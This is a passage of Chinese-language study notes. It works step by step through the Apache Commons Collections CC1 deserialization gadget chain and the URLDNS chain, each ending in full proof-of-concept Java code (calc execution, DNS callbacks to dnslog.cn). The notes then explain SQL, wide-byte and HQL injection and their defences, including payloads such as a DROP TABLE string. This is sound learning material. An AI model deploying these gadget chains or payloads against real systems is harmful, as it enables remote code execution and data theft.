Object[] 表示一个“对象引用数组”,数组中的每个元素都可以存放任意引用类型(因为 Object 是所有类的根类)

img

当new这个InvokerTransformer对象时候自动执行构造函数,把这些都写进去

但是还缺少一个能直接调用的方法,也就是Transform方法了

img

这里去用对象来调用这个方法

代码如下,成功调用计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example.CC1;

import com.sun.org.apache.xpath.internal.objects.XString;
import javafx.scene.transform.Transform;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC_one {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);

}
}

img

这里其实就是所谓的sink点,接下来我们要做的就是一步步往上看看哪些方法有触发,直到走到一个常见类的readObj方法

寻找下一步调用transform方法的(TransformedMap类)

也就是说看谁调用了上边的transform方法,我们再idea里边点击右上角下载源代码,然后查找用法

img

一大片用的依赖

在cc1链子国内的那个里边用的是map

img

跟进去看看

img

这里可以看到,map类里边是调用了valueTransformer的transform方法,但是我们该如何使得这里边挂的valueTransformer改成我们想要的invokerTransformer?

我们进去这个valueTransformer看看是哪里传的

img

我们在这个map类的构造函数里边看到有传递这个valueTransformer,那么我i们在new这个map类的时候把我们前边的InvokerTransformer扔进去不就好啦

但是又有一个问题,这个构造方法是protected,我们不能在外部直接调,这个关键字只能在包内的类调用来构造对象,那我们还得找看谁调用了这个构造方法,成功找到了这俩,而且还是静态方法,这玩意是能直接调用的

img

调用直接拿类.方法就行了(注意调用的是静态方法)

直接调用的话,传的参数有这些

img

img

new一个hashmap填上去就行了

第三个参数写咱们的invokerTransformer ok

再下一步寻找调用checkSetValue方法的类

img

img

看到这里是parent来调checkSetValue的,那么我们应该控制让这个parent是上边的decorate(transformedmap),跟着可以看到value是runtime

这个类实现了,并且方法还是public,可以看到这里是MapEntry类,也就是java中遍历map来用的, 只要我们遍历一下 map就会触发到MapEntry方法 ,这个时候我们可以搞一个map来遍历,调用这个setvalue方法 首先,decorate就是一个map,所以它才能遍历

img

再下一步寻找谁调用了setvalue

最后我们发现在AnnotationInvocationHandler类中的readObject方法中看到有实现了setvalue方法

img

var5调的

看看var5到底是咋赋值的

img

这里可以看到var5是由var4传递的,这个while是对var4进行传递

在readObj方法里边var4是这样传递的

Iterator var4 = this.memberValues.entrySet().iterator();

拿memberValues来搞,我们看看这个memberValues是个啥

img

这个参数在构造函数里边已经搞过了

那么我们该咋调用ne?这个构造方法没修饰符默认是没法直接调,所以我们反射来搞

var1是注解类(Annotation),var2就写成我们需要的abc,但是我们看看那个value值

img

不好控制啊,看看咋搞

另外找找实现

img

继续写

我们已经找到了readObj能调用这个setValue的类

img

也就是上边那个

img

那么我们把这个for删了

反射调用来写那个

img

因为这个类的构造方法是这个

所以我们应该这么写

img

最后再进行调用

img

实例化

现在确实能控制谁去setValue了,但是setValue的值没法传

img

一大坨得找一下该咋才能控制

包装反射拿到Runtime

Runtime r = Runtime.getRuntime();

map.put(“x”, r);

oos.writeObject(map);

这个玩意看似能执行,实则完全不行, 因为Runtime 没实现 Serializable

但是我们又需要把runtime传入那玩意里边,所以这里runtime也需要反射来拿到

1
2
3
4
5
6
7
8
9
10
11
12
13
反序列化利用不是“我能不能执行代码”,
而是“我能不能让目标 JVM 在反序列化时替我执行代码”。

自己写反射代码时:
你本地 JVM

你在构造 payload

Runtime.exec() 被你自己执行


目标服务器:
😐 什么也没发生。

所以说我们需要通过InvokerTransformer来反射调用runtime,因为我们需要(代码块已经给出原因)

InvokerTransformer的本质

1
2
3
4
5
6
7
8
9
10
11
class InvokerTransformer implements Transformer, Serializable {
String methodName;
Class[] paramTypes;
Object[] args;

Object transform(Object input) {
return input.getClass()
.getMethod(methodName, paramTypes)
.invoke(input, args);
}
}

前面那个是本机跑起来,自娱自乐的东西,所以我们在这里学习反射调用拿到getruntime

借助InvokerTransformer这个类做到反射

所以说这就很巧妙,借助InvokerTransformer这个(可以被序列化)的类做到反射调用Runtime实例拿到执行权限

1
2
3
4
5
Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class}, new Object[]{"getRuntime"}).transform(Runtime.class);//拿到 getRuntime 方法

Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}).transform(getMethod);// 调用 getRuntime(),得到 Runtime 实例,static 方法的 invoke,第一个参数必须为 null

Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
  • Runtime.class → 调 getMethod
  • Method → 调 invoke
  • Runtime → 调 exec

包装覆盖写死的值

Transformer类,

这个类的话看到ConstantTransformer类,它的构造函数时接收一个Object类然后又返回

transform方法是接受输入然后返回

img

img

这个ChainedTransformer类

它的构造方法是接收Transformer[]数组,然后transform方法是接收Object参数,去循环调用,把new时候调用构造函数接收的数组,一个个循环调用transform方法传入的Object参数然后结果变输出去搞

链子的写法这也就是对我们InvokerTransformer的封装

img

InvokerTransformer

ConstantTransformer

ChainedTransformer

这三个联合起来用

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),//拿到 getRuntime 方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}),// 调用 getRuntime(),得到 Runtime 实例,static 方法的 invoke,第一个参数必须为 null
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

像这样放到transformer数组里

然后拿chain去一个个调

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),//拿到 getRuntime 方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}),// 调用 getRuntime(),得到 Runtime 实例,static 方法的 invoke,第一个参数必须为 null
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

调用顺序

ObjectInputStream.readObject()

AnnotationInvocationHandler.readObject()

Map.Entry.setValue(…)

AbstractInputCheckedMapDecorator.setValue(…)

TransformedMap.checkSetValue(…)

Transformer.transform(…)

ChainedTransformer.transform(…)

InvokerTransformer.transform(…)

Runtime.exec()

调试(方法跟进,参数可看到是啥,模板是我们调试跟进的类,这只是一个模具)

AnnotationInvocationHandler的readObj方法

img

value是这玩意

img

AbstractInputCheckedMapDecorator内部类遍历map执行的checkSetValue

img

可以看到value值一九依旧

TransformedMap的checkSetValue方法

img

进了chain

img

这个时候chain里边那个value还没变呢

img

覆盖

img

img

坑点

我把

Object o = declaredConstructor.newInstance(Retention.class,decorate);

objectObjectHashMap.put(“11”,”22”);

decorate里边的key是11,value是22

var3也就是注解是传入的rention.class

进入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();//依旧是寻找调用chainedTransformer.transform(Runtime.class)的方法
objectObjectHashMap.put("11","22");
Map <Object,Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);//返回实例

// Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class}, new Object[]{"getRuntime"}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}).transform(getMethod);
// Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

// for (Map.Entry abc:decorate.entrySet()){//当这样调用时候(遍历map)就会实现那个调用内部类的方法
// abc.setValue(runtime);//重写的方法
// }
//如何让decorate来调用checkSetValue,寻找调用checkSetValue的,然后让用这个方法的是decorate
//map遍历时候就能调用

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);//找构造方法,里边带的参数是需要的
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class,decorate);

img

var2是拿到前边传入的rention.class的注解,这个annotation也就是注解的意思。

var3是拿到注解成员方法名

img

  • var4 遍历的就是你传入的 decorate Map(也就是 memberValues
  • var5.getKey() = 你传的 Map 的 key → var6
  • var3 = var2.memberTypes() → 注解类(Retention)的成员方法名 → 返回类型映射
  • var7 = var3.get(var6) → 检查你传的 key 有没有对应注解方法,如果有才继续执行

这里当传入的key(我传的decorate的key是11,value是22)

那么这个时候,var7 = var3.get(var6)执行查询,查询发现这个“11”根本没有对应的注解方法,注解方法只有value啊,所以var7置空

后边也就是了,第二层if的条件是:

if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy))

所以说就是 判断 value 是否类型不匹配,不匹配就触发 setValue 还要就是 不是 ExceptionProxy

传入22的时候,肯定就不满足,所以可以执行

poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.example.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC_one {
public static void main(String[] args) throws Exception {
// Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// invokerTransformer.transform(runtime);




Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),//拿到 getRuntime 方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),// 调用 getRuntime(),得到 Runtime 实例,static 方法的 invoke,第一个参数必须为 null
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();//依旧是寻找调用chainedTransformer.transform(Runtime.class)的方法
objectObjectHashMap.put("value","22");
Map <Object,Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);//返回实例

// Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class}, new Object[]{"getRuntime"}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}).transform(getMethod);
// Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

// for (Map.Entry abc:decorate.entrySet()){//当这样调用时候(遍历map)就会实现那个调用内部类的方法
// abc.setValue(runtime);//重写的方法
// }
//如何让decorate来调用checkSetValue,寻找调用checkSetValue的,然后让用这个方法的是decorate
//map遍历时候就能调用

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);//找构造方法,里边带的参数是需要的
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class,decorate);
serialize(o);
unserialize("G://java/CC1.txt");

}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("G://java/CC1.txt"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}

}

dns链子

img

img

hashmap实现了Serializable接口,也重写了readObject,这是一个很常见的类,因此它可以作为起点(它可以被序列化)

我们new一个hashmap类

img

这里当我们序列化的时候

会进入执行该对象(hashmap)的readObject方法,我们跟进去看

img

在它的readObjct方法中又调用了hash方法,我们继续跟进去看

img

里边调用的hash方法又调用了key的hashcode方法

进去hashcode看一下,进去发现也只是实现,而这个key,我们其实这里可以看一下url类的hashcode方法

img

写进URL类看看,看到后边又调用了hashcode,跟进去看看

(这里可以看到条件,传入的key不为空会调用hashcode方法)

img

接了个参数(URL u)

看到这里会对这个参数进行dns解析,好的sink就到这里啦

接下来我们进行构造

总结一下调用链

1
2
3
4
5
6
7
8
9
HashMap().ReadObject() //里边有
putval()
hash(key) //传参是key,这里准备把key换成URL类
key.hashcode()
URL.hashcode()
URLStreamHandler类的hashcode()//传参URL 后边跟进方法
getHostAddress(u)


img

所以我们需要把URL作为key放进这个hashmap,从而能在反序列化这个hashmap对象的时候进去执行hash方法,hash方法调用了url(key)自己的hashcode方法,new的url自己写的传参就是域名,满足条件之后进去

url(key)自己的hashcode方法实际上调用了URLStreamHandler类的hashcode(),从而解析了域名

看起来是万无一失

我们试试执行这个代码

img

但实际上我们发现,仅仅只是序列化操作就已经执行了解析

我们跟进去看看原因

原来在调用put方法的时候就已经执行hash了,所以说我们搞序列化加反序列化实际上是执行了两遍dns解析

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

该怎么绕过这个?我们考虑能不能不用put,用别的方法把key扔进map里边,但是很明显没有

那么我们只能把url扔进去,思考该怎么样才能让其不去调用后续的方法

1
2
3
4
5
6
7
8
9
10
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

---------------------
private int hashCode = -1;

我们发现URL类实际上,如果说hashcode不为-1的话就直接return了,可以看到在URL类里边默认hashcode是-1

所以才能进行下边的

这里用反射来修改URL类的hashmap为13(不是-1就行,这样直接返回)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();


URL url = new URL("https://u9rxrp.dnslog.cn");
objectObjectHashMap.put(url,"111");

Class<? extends URL> urlClass = url.getClass();
Field hashCode = urlClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,13);


Serialize(objectObjectHashMap);
Deserialize(Serialize(objectObjectHashMap));
}

但是这样的话,正常咱们要反序列化进行来解析dns也失败了,因为这修改参数不只影响序列化的hashcode参数导致没法继续

解决方法就是在put之后,再把hashcode参数修改回来

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package org.example.urldns;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static byte[] Serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//new一个数组输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);//新建一个对象输出流来接收前边的
objectOutputStream.writeObject(obj);//序列化
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}

public static void Deserialize(byte[] objstream) throws IOException, ClassNotFoundException {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(objstream);//字节数组转换为字节输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);//放入Obj对象里边等待反序列化
System.out.println(objectInputStream.readObject().getClass().getName());//调用readObj实现反序列化

}

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();


URL url = new URL("https://itwh8h.dnslog.cn");//给个类


Class urlClass = url.getClass(); //反射修改hashcode,防止序列化时候put已经执行了查询
Field hashCode = urlClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,13);

objectObjectHashMap.put(url,"111");

hashCode.set(url,-1); //put之后再修改回来
Serialize(objectObjectHashMap);
Deserialize(Serialize(objectObjectHashMap));
}
}

img

序列化时候没有解析

img

反序列化的时候解析了

具体用的话,就是在我们进行反序列化可控的地方,就直接执行这一套拿个序列化的数据直接上

一般用于探测,因为这些类都很常见,但是万一没有的话就gg

武器化的话,就是把这个url的那个dns随机生成然后给一个序列化数据就行

预编译是怎么防御sql注入的

SQL 注入成功需要两点:

  1. 用户输入被拼接进 SQL 字符串
  2. 数据库把用户输入当成“SQL 语法的一部分”去解析

SQL 注入的本质是“控制 Parser”,而 ? 让 Parser 根本看不到用户输入。

预编译

查询分为parser和excute两次通信,第一次通信就解析了语法树,第二次通信直接进行了参数化查询

预编译的安全性来自三件事的协同:

1️⃣ **数据库协议支持「结构与参数分离」
**2️⃣ **数据库内核支持「预解析 + 执行计划缓存」
**3️⃣ 客户端 API(JDBC)暴露了这个能力

PREPARE -> 发送 SQL 结构

EXECUTE -> 发送参数值

层级 负责什么
数据库协议 定义“结构包 / 参数包”分离
数据库 Parser **?** 识别为 PARAM 节点
执行引擎 只允许参数参与值比较
JDBC / Driver 正确使用协议
ORM 默认帮你走这条路

数据库在 prepare 阶段已经数过:

ps.setString(1, username);

ps.setInt(2, age);

就是告诉驱动:

把这个值,绑定到 AST 里的 PARAM(1)

img

img

一个实现了能防sql注入的预编译,一个没有实现,框架白写,在语法paser前就已经写进去了

sql注入就是在执行一段sql语句,本质与语言无关

宽字节注入

宽字节注入成立的前提是:
应用层用“转义”而不是“参数绑定”, (让用户输入进入 SQL Parser)
且数据库在解析 SQL 时会按多字节字符集重新解码字节流, 攻击目标是转义字符(\)本身
从而把转义字符吞进字符,导致语法边界失效。 ( 数据库会“重新按字符集解码”SQL 字节流 )

img

宽字节注入依赖“某些多字节编码允许反斜杠成为字符的一部分”

审计小技巧

GBK / Big5 符合这个条件
UTF-8 不符合

查看数据库字符集连接文件,看它是否是utf-8

HQL注入

img

Hibernate是一种orm框架,我们的输入在进入之后作为HQL的一部分,渲染成sql语句,然后再进入数据库层进行查询,但就是因为这么一手渲染,防住了很多攻击,因为我们构造的语句需要在渲染成sql语句之后还能造成注入攻击才行

将数据库tables映射为相关的类,通过此类进行数据查询,使用的是HQL自己的语言

1
2
3
String parameter = req.getParameter("name");
Query query = session.createQuery("from com.demo.bean.User where tableschema = ?1", User.class);
query.setParameter(1, parameter);

为啥会产生sql注入

开发者误用

$sql = “SELECT * FROM user WHERE name = ‘$name’”;

$stmt = $conn->prepare($sql);

在prepare之前,$name参数就已经拼接进去了,后边纯鸟用

无法预编译的输入点

like

在数据库查询中, like后边加 “%”.$username.”%” 这个百分号表示匹配,匹配包含里边的字符串

参数绑定只做一件事:

把一个“值”,安全地放到 SQL 已经确定的结构里

然而like语句 “模糊语义”不属于参数绑定能自动完成的事情。 数据库并不知道你要模糊到哪里

参数绑定是写死进去的直接参数绑定

比方说

1
2
3
like a         也就是=a
like %a 匹配a,前面随便
like %a% 包含a

正确且安全的只有这个

1
2
3
LIKE ?
"%keyword%"
LIKE CONCAT('%', ?, '%')

由于mybaits框架面对这个的话,需要开发者手动去进行预编译,手动预编译就可能存在手残没写好的情况

预编译没正确使用啊,过滤有问题啊之类的

1
2
3
4
$stmt = $conn->prepare("select * from fraction where name like '%:username%'"); 不行
select * from fraction where name like concat('%',:username,'%')
# 这种情况下就能够进行在使用预编译的情况下进行like模糊查询
预编译始终只绑定值,不绑定语法结构。所以第一个不行

不能加‘的关键字

select $username$,password from $table$ where $username2$ = ‘$dada$order by $username3$ $desc$ limit $0$,1

总的来说就是

表名、列名、limit子句、order by[desc/asc]

产生sql注入的原因:

在语法结构里,预编译只能预编译值,不能搞这些结构

SELECT ‘username’ FROM ‘users’; – ❌ 错误

SELECT username FROM users; – ✅ 正确 加引号就会报错

例子

1
2
3
$table = "users; DROP TABLE users;--"
SELECT id FROM $table
//拼接不严谨

防御

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
三、如何安全处理这些结构

白名单验证(最常用)

对表名、列名、排序字段、排序方式、LIMIT 数字,先检查是否在允许列表里

例:

$allowedCols = ['id','username','score'];
$orderCol = in_array($_GET['col'], $allowedCols) ? $_GET['col'] : 'id';

$allowedDir = ['asc','desc'];
$orderDir = in_array(strtolower($_GET['dir']), $allowedDir) ? $_GET['dir'] : 'asc';


强制类型转换

LIMIT / OFFSET 必须是整数:

$limit = (int)$_GET['limit'];
$offset = (int)$_GET['offset'];



完全避免动态表名/列名拼接

如果真的必须动态,使用 白名单 + 映射
$columnMap = [
'id' => 'id',
'name' => 'username',
'age' => 'age'
];
$userInput = $_GET['col']; // 用户传:id / name / age / 恶意payload

if (!isset($columnMap[$userInput])) {
die('invalid column');
}

$orderCol = $columnMap[$userInput];


$dirMap = [
'asc' => 'ASC',
'desc' => 'DESC'
];

$userDir = strtolower($_GET['dir']);

$orderDir = $dirMap[$userDir] ?? 'ASC';
dir = desc; union select password from users;--




绝不允许直接用用户输入拼接结构部分